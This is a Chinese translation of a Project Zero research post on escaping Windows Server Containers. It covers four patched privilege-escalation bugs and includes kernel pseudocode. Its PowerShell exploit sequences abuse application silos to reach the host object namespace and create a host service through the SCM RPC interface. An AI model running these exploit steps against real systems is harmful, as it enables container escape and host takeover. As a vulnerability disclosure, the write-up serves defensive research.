Project Zero 对Windows Server Containers 容器逃逸漏洞的研究 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

Project Zero 对Windows Server Containers 容器逃逸漏洞的研究

h1apwn 漏洞 2021-04-15 10:38:00
收藏

导语:这是一篇简短的研究文章, 内容涉及我在Windows Server Containers上进行的一项研究项目,Microsoft在2021年3月修复了我在Windows Server Containers容器中发现的四个特权提升漏洞。

这是一篇简短的研究文章, 内容涉及我在Windows Server Containers上进行的一项研究项目,Microsoft在2021年3月修复了我在Windows Server Containers容器中发现的四个特权提升漏洞。

0x01 Windows容器介绍

Windows 10及其与之对应的服务器增加了对应用程序容器化的支持。Windows中的实现在概念上与Linux容器相似,但是也有很大的不同。众所周知的Docker平台支持Windows容器,从而可以使相关项目(例如在Windows上运行的Kubernetes)可用。你可以在MSDN上的Windows容器上阅读一些背景知识。我不会深入探讨容器在Linux中的工作方式,因为很少适用于Windows。

容器的主要目标是向应用程序隐藏真实的OS。例如,在Docker中,你可以下载标准容器映像,其中包含Windows的完全独立副本。该映像用于构建容器,该容器使用Windows内核的一种称为Server Silo的函数, 允许对资源进行重定向,例如对象管理器,注册表和网络。服务器silo是Job对象的一种特殊类型,可以分配给一个进程。

image-20210402105741624.pngimage-20210402105741624

尽可能在容器中运行的应用程序会相信它正在其自己的唯一OS实例中运行。它对系统所做的任何更改只会影响容器,而不会影响托管它的实际操作系统。由于可以隐藏任何系统或操作系统差异,因此管理员可以轻松地启动应用程序的新实例。

例如,容器可以在不同的Windows系统之间移动,甚至可以在具有适当虚拟化函数的Linux系统上移动,并且应用程序无法分辨出差异。但是,容器不应与虚拟化混淆,后者可为操作系统提供一致的硬件接口。 容器更多是关于为应用程序提供一致的OS接口。

实际上,容器主要是关于使用其隔离原语来隐藏实际的OS并提供应用程序可以在其中执行的一致配置。但是,在容器内运行还具有一些潜在的安全优势,因为应用程序不应该能够直接与主机上的其他进程和资源进行交互。

有两种受支持的容器类型:Windows Server容器和Hyper-V隔离容器。Windows Server容器作为服务器silo内的单独进程在当前内核下运行。因此,一个内核漏洞将使你能够逃逸容器并访问主机系统。

Hyper-V隔离容器仍在服务器silo中运行,但在单独的轻量级VM中运行。你仍然可以使用相同的内核漏洞来逃逸服务器silo,但是仍然受到VM和虚拟机管理程序的约束。要完全逃逸并访问主机,你还需要单独的VM逃逸。

image-20210402105813886.png

当前的MSRC安全服务标准 指出Windows Server容器不是安全边界,因为你仍然可以直接访问内核。但是,如果你使用Hyper-V隔离,则由于安全边界位于虚拟机管理程序级别,因此silo逃逸不会直接损害主机OS。也就是说,逃逸服务器silo可能是攻击Hyper-V容器的第一步,这意味着逃逸仍然是链中的一部分。

由于Windows Server容器不是安全边界,因此该函数中的任何错误都不会发布安全公告。任何问题都可能在Windows的下一个主要版本中得到解决,但可能没有得到解决。

0x02 研究背景

在一年前,Palo Alto Networks的研究员丹尼尔Prizmant在围绕Windows对象管理器符号链接上有一些研究成果。Daniel正在研究Windows容器,并希望在函数上获得帮助,该函数允许将符号链接标记为全局,从而使它们可以引用服务器silo之外的对象。我建议阅读Daniel的博客文章 ,以获取有关Windows容器的更多深入信息。

https://unit42.paloaltonetworks.com/what-i-learned-from-reverse-engineering-windows-containers/

稍微了解一下符号链接,我就可以帮助填写一些详细信息和用法。大约七个月后,Daniel发布了第二篇博客文章,这次描述了如何使用全局符号链接来逃逸服务器silo Windows容器。漏洞利用的结果是容器中的用户可以访问容器外部的资源,例如文件。

全局符号链接函数需要 启用SeTcbPrivilege ,该函数只能从SYSTEM访问。因此,该漏洞利用涉及从默认管理员用户注入系统进程并从那里运行漏洞利用。根据博客文章,我认为无需注入即可轻松完成。你可以模拟SYSTEM令牌并进行所有利用。我在PowerShell中编写了一个简单的PoC并将其放在Github上

https://gist.github.com/tyranid/bf8a890e615d310c7193901a1c7e0e3a

Palo Alto Networks的另一位研究人员向Google Cloud报告说,Google Kubernetes Engine(GKE) 易受Daniel指出的问题的影响。Google Cloud使用Windows Server容器运行Kubernetes,因此可以逃逸该容器并访问该主机,而该主机本来是不可访问的。

Microsoft尚未修补此问题,漏洞仍可利用。他们没有修补它,因为Microsoft认为这些问题不可行。因此,GKE团队一直在寻求缓解措施。一个建议是缓解执行容器到运行ContainerUser帐户,而不是Container Administrator 。

但是,我不相信没有非管理员用户可以利用的类似漏洞。因此,我决定对Windows Server容器进行自己的研究,以确定使用ContainerUser的指导是否真的可以消除风险。

虽然我并不期望MS会解决任何问题,但我发现它至少可以让我向GKE团队提供内部反馈,以便他们可以更好地缓解问题。它还为使用Windows Server容器所涉及的风险建立了一个粗略的基准。

0x03 研究过程

第一步是使一些代码在具有代表性的容器中运行。没有报道涉及到GKE,因此我假设我可以只运行本地Windows Server Container。

从头开始设置你自己的服务器silo是没有记录的,几乎可以肯定是没有必要的。在Windows中启用容器支持函数时,将安装Hyper-V主机计算服务。这样可以同时设置Hyper-V和处理隔离的容器。与该服务交互的API尚未正式记录,但是Microsoft提供了公共包装器,例如Go包装器

实际上,最好仅使用带有 MS提供的Go包装器并实现更熟悉的Docker CLI的Docker。尽管可能存在特定于Docker的逃逸,但是Windows Docker容器的核心函数全部由Microsoft提供。请注意,有两种版本的Docker:仅用于服务器系统的Enterprise和Desktop。我主要是为了方便使用台式机。

顺便说一句,MSRC不会将任何问题视为跨越安全边界 的前提条件,在此前提下,必须成为Hyper-V Administrators组的成员。使用Hyper-V主机计算服务需要Hyper-V管理员 组的成员身份。但是,Docker以足够的特权运行,不需要用户成为该组的成员。取而代之的是,通过单独的docker-users 组的成员资格来控制对Docker的访问。如果你让代码在具有docker-users 组成员身份的非管理员用户下运行,则可以通过滥用Docker的服务器silo支持来使用该代码来获得全部管理员特权。

辛运的是,大多数Windows Docker映像都安装了.NET和PowerShell,因此我可以使用现有的工具集。我编写了一个简单的docker文件,其中包含以下内容:

FROM mcr.microsoft.com/windows/servercore:20H2
USER ContainerUser
COPY NtObjectManager c:/NtObjectManager
CMD [ "powershell", "-noexit", "-command", \
  "Import-Module c:/NtObjectManager/NtObjectManager.psd1" ]

该docker文件将从Microsoft容器注册表中下载Windows Server Core 20H2容器映像,复制到我的NtObjectManager PowerShell模块中,然后设置命令以在启动时加载该模块。我还指定PowerShell进程将以用户ContainerUser的身份运行, 以便我可以测试缓解能力。如果你不指定用户,则默认情况下它将以ContainerAdministrator身份运行。

请注意,在使用进程隔离模式时,容器映像版本必须与主机操作系统匹配。这是因为内核在主机和容器之间共享,并且用户模式代码和内核之间的任何不匹配都可能导致兼容性问题。因此,如果你要复制它,则可能需要更改容器映像的名称。

创建一个目录并将docker文件的内容复制到该目录中的文件名dockerfile 中。还要将我的PowerShell模块的副本复制 到NtObjectManager目录下的同一目录中。然后,在该目录中的命令提示符下,运行以下命令来构建和运行容器。

C:\container> docker build -t test_image .
Step 1/4 : FROM mcr.microsoft.com/windows/servercore:20H2
 ---> b29adf5cd4f0
Step 2/4 : USER ContainerUser
 ---> Running in ac03df015872
Removing intermediate container ac03df015872
 ---> 31b9978b5f34
Step 3/4 : COPY NtObjectManager c:/NtObjectManager
 ---> fa42b3e6a37f
Step 4/4 : CMD [ "powershell", "-noexit", "-command",   "Import-Module c:/NtObjectManager/NtObjectManager.psd1" ]
 ---> Running in 86cad2271d38
Removing intermediate container 86cad2271d38
 ---> e7d150417261
Successfully built e7d150417261
Successfully tagged test_image:latest
C:\container> docker run --isolation=process -it test_image
PS>

我想使用进程隔离而不是Hyper-V隔离来运行代码,因此我需要指定--isolation = process 参数。这将使我能够更轻松地查看系统交互,因为如果需要,我可以直接调试容器进程。例如,你可以使用“进程监视器”来监视文件和注册表访问。Docker Enterprise默认使用进程隔离,而Desktop使用Hyper-V隔离。

我现在有一个PowerShell控制台以ContainerUser的身份在容器中运行。一种快速的检查成功的方法是尝试找到CExecSvc进程,它是Container Execution Agent服务。此服务用于生成你的初始PowerShell控制台。

PS> Get-Process -Name CExecSvc
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
     86       6     1044       5020              4560   6 CExecSvc

随着容器的运行,我做的第一件事是转储ContainerUser的 令牌,只是为了查看分配了哪些组和特权。你可以使用Show-NtTokenEffective 命令来执行此操作。

PS> Show-NtTokenEffective -User -Group -Privilege
USER INFORMATION
----------------
Name                       Sid
----                       ---
User Manager\ContainerUser S-1-5-93-2-2
GROUP SID INFORMATION
-----------------
Name                                   Attributes
----                                   ----------
Mandatory Label\High Mandatory Level   Integrity, ...
Everyone                               Mandatory, ...
BUILTIN\Users                          Mandatory, ...
NT AUTHORITY\SERVICE                   Mandatory, ...
CONSOLE LOGON                          Mandatory, ...
NT AUTHORITY\Authenticated Users       Mandatory, ...
NT AUTHORITY\This Organization         Mandatory, ...
NT AUTHORITY\LogonSessionId_0_10357759 Mandatory, ...
LOCAL                                  Mandatory, ...
User Manager\AllContainers             Mandatory, ...
PRIVILEGE INFORMATION
---------------------
Name                          Luid              Enabled
----                          ----              -------
SeChangeNotifyPrivilege       00000000-00000017 True
SeImpersonatePrivilege        00000000-0000001D True
SeCreateGlobalPrivilege       00000000-0000001E True
SeIncreaseWorkingSetPrivilege 00000000-00000021 False

这些组似乎没有那么有趣,但是看看我们拥有SeImpersonatePrivilege的特权。如果你具有此特权,则可以模拟系统上的任何其他用户,包括管理员。MSRC认为将SeImpersonatePrivilege等同于管理员,这意味着如果你拥有,则可以假定你可以成为管理员。似乎ContainerUser并不像应有的正常。

那对我的研究来说是一个非常糟糕的开始。他之前的假设是,运行的ContainerUser不会授予管理员权限,因此存在符号链接问题,不能直接利用,但是事实证明并非如此。 例如 ,只要未启用WinRM,就可以使用公共RogueWinRM漏洞利用 来获取SYSTEM令牌,在大多数Windows容器映像中都是这种情况。毫无疑问,还有其他鲜为人知的技术可以实现相同的目的。创建用户帐户的代码在CExecSvc中, 这是Microsoft拥有的代码,并不特定于Docker。

https://github.com/antonioCoco/RogueWinRM

NextI使用NtObject 驱动器提供程序列出了对象管理器名称空间。例如,检查设备目录显示哪些设备对象可用。

PS> ls NtObject:\Device
Name                                              TypeName
----                                              --------
Ip                                                SymbolicLink
Tcp6                                              SymbolicLink
Http                                              Directory
Ip6                                               SymbolicLink
ahcache                                           SymbolicLink
WMIDataDevice                                     SymbolicLink
LanmanDatagramReceiver                            SymbolicLink
Tcp                                               SymbolicLink
LanmanRedirector                                  SymbolicLink
DxgKrnl                                           SymbolicLink
ConDrv                                            SymbolicLink
Null                                              SymbolicLink
MailslotRedirector                                SymbolicLink
NamedPipe                                         Device
Udp6                                              SymbolicLink
VhdHardDisk{5ac9b14d-61f3-4b41-9bbf-a2f5b2d6f182} SymbolicLink
KsecDD                                            SymbolicLink
DeviceApi                                         SymbolicLink
MountPointManager                                 Device
...

有趣的是,大多数设备驱动程序是符号链接,而不是实际的设备对象。但是,有一些实际的设备对象可用。甚至VHD磁盘卷也是到容器外部设备的符号链接。在可利用的设备中可能潜藏着某些东西,这些东西可以被利用,但我仍处于研究阶段。

注册表呢?该容器应提供自己的注册表配置单元,因此该容器之外不应有任何可访问的内容。经过几次测试后,我发现一些非常奇怪的东西。

PS> ls HKLM:\SOFTWARE | Select-Object Name
Name
----
HKEY_LOCAL_MACHINE\SOFTWARE\Classes
HKEY_LOCAL_MACHINE\SOFTWARE\Clients
HKEY_LOCAL_MACHINE\SOFTWARE\DefaultUserEnvironment
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
HKEY_LOCAL_MACHINE\SOFTWARE\ODBC
HKEY_LOCAL_MACHINE\SOFTWARE\OpenSSH
HKEY_LOCAL_MACHINE\SOFTWARE\Policies
HKEY_LOCAL_MACHINE\SOFTWARE\RegisteredApplications
HKEY_LOCAL_MACHINE\SOFTWARE\Setup
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node
PS> ls NtObject:\REGISTRY\MACHINE\SOFTWARE | Select-Object Name
Name
----
Classes
Clients
DefaultUserEnvironment
Docker Inc.
Intel
Macromedia
Microsoft
ODBC
OEM
OpenSSH
Partner
Policies
RegisteredApplications
Windows
WOW6432Node

第一个命令是使用内置的注册表驱动器提供程序查询本地计算机SOFTWARE配置单元。第二个命令是使用模块的对象管理器提供程序列出相同的配置单元。如果仔细观察,这两个命令的键列表是不同的。我检查了其他一些键,例如用户配置单元连接点:

PS> ls NtObject:\REGISTRY\USER | Select-Object Name
Name
----
.DEFAULT
S-1-5-19
S-1-5-20
S-1-5-21-426062036-3400565534-2975477557-1001
S-1-5-21-426062036-3400565534-2975477557-1001_Classes
S-1-5-21-426062036-3400565534-2975477557-1003
S-1-5-18
PS> Get-NtSid
Name                       Sid
----                       ---
User Manager\ContainerUser S-1-5-93-2-2

ContainerUser的SID是S-1-5-93-2-2 ,你希望看到该用户SID的已加载配置单元。但是,并非如此,而是看到了S-1-5-21-426062036-3400565534-2975477557-1001 ,它是容器外部用户的SID。

早在2016年,我报告了一个 应用程序配置单元的错误,其中你无法直接打开\ REGISTRY \ A 附加点,但是如果你打开\ REGISTRY 然后可以对A进行相对打开。事实证明,幸运的是,模块驱动器提供程序中的注册表枚举代码使用通过本机系统调用的相对打开,而PowerShell内置通过Win32 API使用绝对打开。 因此,这是类似错误的体现:进行相对打开将忽略注册表覆盖,并提供对实际配置单元的访问。

只要ContainerUser可以通过密钥访问检查,就可以授予非管理员用户对主机上任何注册表项的访问权限。你可以想象主机在注册表中存储了一些重要数据,容器现在可以读取这些数据,但是使用它来逃逸容器将很困难。就是说,你要做的就是滥用SeImpersonatePrivilege 来获取管理员访问权限,你可以立即开始修改主机的注册表配置单元。

我在不到一天的时间内就遇到了两个错误,这有点令人担忧,我认为我应该更深入地研究内核,以了解普通用户还可以利用什么。

0x04 逆向分析

尽管仅进行基本检查已取得了丰硕成果,但可能需要进行一些逆向分析才能消除其他问题。我从以前在Desktop Bridge上的经验中知道,当与silo结合使用时,可以知道注册表覆盖和对象管理器重定向的工作方式。对于Desktop Bridge,它使用应用程序silo而不是服务器silo,但是它们采用类似的方法。

内核用来提供容器隔离的主要执行机制是调用一个函数来检查进程是否在silo中,并根据结果执行不同的操作。我决定尝试跟踪检查silo状态的位置,看看是否可以发现任何滥用情况。你可能会认为内核只有几个函数可以返回当前的silo状态。不幸的是,你错了,以下是我检查过的函数列表:

IoGetSilo,IoGetSiloParameters,MmIsSessionInCurrentServerSilo,OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO,ObGetSiloRootDirectoryPath,ObpGetSilosRootDirectory,PsGetCurrentServerSilo,PsGetCurrentServerSiloGlobals,PsGetCurrentServerSiloName,PsGetCurrentSilo,PsGetEffectiveServerSilo,PsGetHostSilo,PsGetJobServerSilo,PsGetJobSilo,PsGetParentSilo,PsGetPermanentSiloContext,PsGetProcessServerSilo,PsGetProcessSilo,PsGetServerSiloActiveConsoleId,PsGetServerSiloGlobals,PsGetServerSiloServiceSessionId,PsGetServerSiloState,PsGetSiloBySessionId,PsGetSiloContainerId,PsGetSiloContext, PsGetSiloIdentifier,PsGetSiloMonitorContextSlot,PsGetThreadServerSilo,PsIsCurrentThreadInServerSilo,PsIsHostSilo,PsIsProcessInAppSilo,PsIsProcessInSilo,PsIsServerSilo,PsIsThreadInSilo

当然,这不是完整的函数列表,但是看起来是最有可能返回silo及其属性或检查silo中是否存在某些函数的那些函数。由于各种原因,检查这些函数的引用并不会很全面:

1. 我们只进行bad check,而不是lack check。

2. 内核具有包含silo的Job对象的结构类型定义,因此可以轻松地内联该调用。

3. 我们仅检查内核,其中许多函数已导出以供驱动程序使用,因此可以由我们不关注的其他内核组件调用。

我发现的第一个问题是由于调用了PsIsCurrentThreadInServerSilo造成的。我注意到对CmpOKToFollowLink内部函数的引用,该函数 负责在注册表中执行符号链接检查。在基本级别上,不允许注册表符号链接从不受信任的配置单元遍历到受信任的配置单元。

例如,如果在当前用户的配置单元中放置一个符号链接,该符号链接重定向到本地计算机配置单元,则CmpOKToFollowLink 将在打开键时返回FALSE,操作将失败。这样可以防止用户在其配置单元中植入符号链接并找到特权应用程序,该应用程序将写入该位置以提升特权。

BOOLEAN CmpOKToFollowLink(PCMHIVE SourceHive, PCMHIVE TargetHive) {
  if (PsIsCurrentThreadInServerSilo() 
    || !TargetHive
    || TargetHive == SourceHive) {
    return TRUE;
  }
  if (SourceHive->Flags.Trusted)
    return FALSE;
  // Check trust list.
}

查看CmpOKToFollowLink, 我们可以看到 正在使用PsIsCurrentThreadInServerSilo的位置。如果当前线程在服务器silo中,则任何配置单元之间都允许所有链接。仅在此初始检查之后才检查源配置单元的受信任状态,因此将其绕开。我推测在开发过程中无法将注册表叠加层标记为受信任,因此叠加层中的符号链接将不会跟随它所叠加的受信任的配置单元,从而引起问题。大概有人添加了此旁路以使工作正常进行,但是没有人意识到,添加了对可信叠加层的支持后需要删除它。

为了在容器中利用此漏洞,我需要找到一个特权内核组件,该组件将写入我可以控制的注册表项。我在Win32k中找到了一个很好的原语,用于支持FlickInfo配置。设置配置时,Win32k会在当前用户的配置单元中创建一个已知密钥。然后,我可以将密钥创建重定向到本地计算机配置单元,从而允许在特权位置创建任意密钥。我不认为该原语可以直接与注册表silo逃逸问题结合使用,但是我没有进行深入研究。至少这将允许非管理员用户提升容器内的特权,然后你可以在其中使用注册表silo逃逸来写入主机注册表。

第二个问题是由于调用了OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO 。此函数将获取silo的根对象管理器名称空间目录。

POBJECT_DIRECTORY OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO(PEJOB Silo) {
  if (Silo) {
    PPSP_STORAGE Storage = Silo->Storage;
    PPSP_SLOT Slot = Storage->Slot[PsObjectDirectorySiloContextSlot];
    if (Slot->Present)
      return Slot->Value;
  }
  return ObpRootDirectoryObject;
}

我们可以看到该函数将从传入的silo中提取存储参数,如果存在,它将返回slot的值。如果silo为NULL或不存在slot,则返回存储在ObpRootDirectoryObject中的全局根目录。设置服务器silo后,该slot将填充一个新的根目录,因此此函数应始终返回silo根目录,而不是实际的全局根目录。

这段代码看起来很不错,如果传入服务器silo,则应始终返回silo根对象目录。真正的问题是,此函数的调用者实际上传递了什么信息?我们可以很容易地检查一下,只有两个调用方,并且它们都具有以下代码。

PEJOB silo = PsGetCurrentSilo();
Root = OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO(silo);

好的,所以silo来自PsGetCurrentSilo 。

PEJOB PsGetCurrentSilo() {
  PETHREAD Thread = PsGetCurrentThread();
  PEJOB silo = Thread->Silo;
  if (silo == (PEJOB)-3) {
    silo = Thread->Tcb.Process->Job;
    while(silo) {
      if (silo->JobFlags & EJOB_SILO) {
        break;
      }
      silo = silo->ParentJob;
    }
  }
  return silo;
}

silo可以通过模拟与线程关联,也可以与进程关联的作业层次结构中的一个作业关联。此函数首先检查线程是否在silo中。如果不是,则由-3占位符表示,它将在作业层次结构中的任何作业中搜索该进程,以查找 设置了JOB_SILO标志的任何内容。如果找到了silo,则从函数中返回它,否则将返回NULL。

这是一个问题,因为它没有明确检查服务器silo。我之前提到过,有两种类型的silo:应用程序和服务器。虽然创建新服务器silo需要管理员特权,但是创建应用程序silo完全不需要特权。因此,诱骗对象管理器使用根目录,我们需要做的是:

1. 创建一个应用程序silo。

2. 将其分配给线程。

3. 完全访问对象管理器名称空间的根。

这基本上是全局symlink漏洞的更强大版本,不需要管理员特权即可运行。同样,与注册表问题一样,你仍然受限于可以基于容器中的令牌在容器外部进行修改的内容。但是你可以读取磁盘上的文件,或与主机系统上的ALPC端口进行交互。

使用我的工具链,PowerShell中的漏洞利用非常简单:

PS> $root = Get-NtDirectory "\"
PS> $root.FullPath
\
PS> $silo = New-NtJob -CreateSilo -NoSiloRootDirectory
PS> Set-NtProcessJob $silo -Current
PS> $root.FullPath
\Silos\748

为了测试漏洞利用,我们首先打开当前的根目录对象,然后在内核看到它时打印其完整路径。即使silo根目录不是真正的根目录,内核也会通过返回单个反斜杠作为路径来使其看起来像根目录。

然后,我们使用New-NtJob命令创建应用程序silo。你需要指定NoSiloRootDirectory来防止代码尝试创建我们不希望且无法通过非管理员帐户完成的根目录。然后,我们可以将应用程序silo分配给该流程。

现在,我们可以再次检查根目录路径。现在,我们发现根目录实际上称为\ Silos \ 748, 而不仅仅是一个反斜杠。这是因为内核现在正在使用根目录。此时,你可以通过对象管理器访问主机上的资源。

0x05 漏洞利用链

就主机的SCM而言,你是管理员,因此它将授予你创建任意服务的完全访问权限。但是,当该服务启动时,它将在主机中运行,而不是在容器中运行,从而消除所有限制。Win32 API可以缓存SCM的RPC句柄。如果在安装服务之前在PowerShell的任何部分中与SCM建立了任何连接,则最终将访问容器的SCM,而不是主机。

要解决此问题,我们可以直接使用NtObjectManager的RPC命令访问RPC服务。

PS> $imp = $token.Impersonate()
PS> $sym_path = "$env:SystemDrive\symbols"
PS> mkdir $sym_path | Out-Null
PS> $services_path = "$env:SystemRoot\system32\services.exe"
PS> $cmd = 'cmd /C echo "Hello World" > \hello.txt'
# You can also use the following to run a container based executable.
#$cmd = Use-NtObject($f = Get-NtFile -Win32Path "demo.exe") {
#   "\\.\GLOBALROOT" + $f.FullPath
#}
PS> Get-Win32ModuleSymbolFile -Path $services_path -OutPath $sym_path
PS> $rpc = Get-RpcServer $services_path -SymbolPath $sym_path | 
   Select-RpcServer -InterfaceId '367abb81-9844-35f1-ad32-98f038001003'
PS> $client = Get-RpcClient $rpc
PS> $silo = New-NtJob -CreateSilo -NoSiloRootDirectory
PS> Set-NtProcessJob $silo -Current
PS> Connect-RpcClient $client -EndpointPath ntsvcs
PS> $scm = $client.ROpenSCManagerW([NullString]::Value, `
 [NullString]::Value, `
 [NtApiDotNet.Win32.ServiceControlManagerAccessRights]::CreateService)
PS> $service = $client.RCreateServiceW($scm.p3, "GreatEscape", "", `
 [NtApiDotNet.Win32.ServiceAccessRights]::Start, 0x10, 0x3, 0, $cmd, `
 [NullString]::Value, $null, $null, 0, [NullString]::Value, $null, 0)
PS> $client.RStartServiceW($service.p15, 0, $null)

为了使此代码正常工作,应该在$ token 变量中模拟一个管理员令牌。留下令牌作为练习是留给读者的。在容器中运行它时,结果应该是将文件hello.txt 写入主机的系统驱动器的根目录。

0x06 研究总结

我决定立即报告注册表符号链接问题,因为我可以争辩说这将允许非管理员在容器内部提升特权。这将适合我在Windows中发现的普通错误的范围,它只需要一个特殊的环境即可运行。这是发行版2120 ,已在2021年2月修复为CVE-2021-24096。该补丁非常简单,对PsIsCurrentThreadInServerSilo的调用被删除了,因为它可能是多余的。

具有SeImpersonatePrivilege的ContainerUser的问题可能是设计原因。我找不到任何描述此行为的Microsoft或Docker官方文档,因此我很警惕要报告此行为。这就像报告正常服务帐户具有特权一样,这是设计使然。

其他两个silo逃逸的情况更加复杂,因为它们明确越过了未设防的边界。如果不解决这些问题,几乎没有必要向Microsoft报告它们。公开发布信息将具有更大的价值,以便容器的任何用户都可以尝试查找缓解控件,或者停止将Windows Server容器用于任何可能运行不受信任的代码的地方。

在与MSRC中的各种人员来回交流后,做出了一个决定。如果容器逃逸是由非管理员用户执行的,则基本上,如果你可以访问容器外部的资源,则将其视为特权升级,因此可以使用。这意味着丹尼尔(Daniel)引发此问题的全局符号链接错误仍然无法提升权限,因为它要求SeTcbPrivilege,只有管理员才能获得。

我报了其他三个问题(ContainerUser问题也被认为是在范围内)为212721282129。这些都分别在2021年3月发布为CVE-2021-26891CVE-2021-26865CVE-2021-26864

Microsoft决定不支持Windows Server Containers作为安全边界,这似乎是一个有效的决定,因为这里存在很多攻击面。虽然我设法解决了四个问题,但我怀疑它们是唯一可以发现和利用的问题。理想情况下,你永远不应该在Windows Server容器中运行不受信任的工作负载,但是它也可能也不应提供可远程访问的服务,对于他们来说,唯一现实的用例是内部可见的服务,几乎不需其他交互。GKE的官方指南是在多租户方案中不要使用Windows Server容器。这在此处的GKE文档中进行了介绍

显然,推荐的方法是使用Hyper-V隔离。如此一来,Hyper-V至少是受支持的安全边界。但是,容器逃逸仍然有用,因为在任何成功的逃逸中获得对托管VM的完全访问权限都非常重要。但是,并非所有人都可以运行Hyper-V,这就是GKE当前未修补它的原因。

本文翻译自:https://googleprojectzero.blogspot.com/2021/04/who-contains-containers.html如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论